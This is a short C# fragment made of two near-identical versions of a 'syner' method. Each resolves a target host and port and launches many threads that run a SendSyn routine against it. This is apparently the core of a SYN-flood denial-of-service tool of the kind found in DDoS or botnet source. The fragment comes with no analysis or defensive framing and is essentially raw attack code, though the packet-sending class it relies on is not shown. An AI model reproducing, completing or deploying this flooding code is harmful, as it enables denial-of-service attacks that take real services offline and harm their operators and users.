public static void syner() { try { ipend = new IPEndPoint(Dns.GetHostEntry(host).AddressList[1], port); } catch { ipend = new IPEndPoint(IPAddress.Parse(host), port); } thrd = new Thread[synint]; thrdstart = new ThreadStart[synint]; sndsyn = new SendSyn[synint]; for (int i = 0; i < synint; i++) { sndsyn[i] = new SendSyn(ipend, loc); thrdstart[i] = new ThreadStart(sndsyn[i].synthrd); thrd[i] = new Thread(thrdstart[i]); thrd[i].Start(); } }
private void syner() { try { ipend = new IPEndPoint(Dns.GetHostEntry(host).AddressList[0], port); } catch { ipend = new IPEndPoint(IPAddress.Parse(host), port); } thrd = new Thread[synint]; thrdstart = new ThreadStart[synint]; sndsyn = new SendSyn[synint]; for(int i = 0; i < synint; ++i) { sndsyn[i] = new SendSyn(ipend, loc); thrdstart[i] = new ThreadStart(sndsyn[i].synthrd); thrd[i] = new Thread(thrdstart[i]); thrd[i].Start(); } }